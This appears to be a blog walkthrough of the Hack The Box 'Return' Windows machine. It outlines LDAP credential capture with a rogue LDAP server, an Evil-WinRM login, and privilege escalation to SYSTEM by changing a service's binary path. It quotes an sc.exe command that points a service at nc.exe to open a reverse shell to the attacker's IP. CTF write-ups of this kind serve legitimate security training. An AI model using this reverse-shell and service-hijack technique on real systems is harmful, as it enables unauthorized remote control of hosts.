Return HTB Walkthrough

Sep 1, 2024    #box   #htb   #easy   #windows   #ldap  

Hack The Box Return Walkthrough/Writeup:

How I use variables & wordlists:

Initial NMAP Scan & Start-Up Responder:

Domain Name Discovery:

Checking For Ldap Anonymous bind:

Enumerating the Webserver & Getting a foothold:

Ldap Bind Information:

I connect to the host via Evil-Winrm:

“why SeBackupPrivilege” is dangerous:

Path to NT Authority\System course correction:

Enumerating Services:

Attacking the Bin Path & Getting System:

  1. Upload my binary, nc.exe
  2. Stand up my listener:
  3. Stop the process & ensure it has stopped:
  4. Modify the binary path to have cmd execute my nc.exe binary and connect back to my attack host:
    • Explained:
      • Initially I did just have the binpath be:
        • sc.exe config VGAuthService binpath="C:\Users\svc-printer\Documents\nc.exe -e cmd 10.10.14.131 9999"
        • However it kept failing. After doing some digging I found out why.
  5. Start the process:
  6. Profit

Lessons Learned:

What did I learn?

  1. I learned how to extract hardcoded LDAP credentials from hosts by using a malicious LDAP server.
  2. I learned that we can enumerate running services using evil-winrm.
  3. I learned that if we modify a service to run a custom binary it will fail unless we execute it using cmd as services will fail if they are not a Windows Service.

What silly mistakes did I make?

  1. I did not try and connect with Evil-Winrm sooner, this isn’t a terrible mistake as I was acively enumerating SMB but it is low hangin fruit that I could have seen sooner.
  2. I initially went after a local admin account, however this was not the right path to take.

Sign off:

Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!

Until next time, hack the planet!

– Bloodstiller

– Get in touch bloodstiller at proton dot me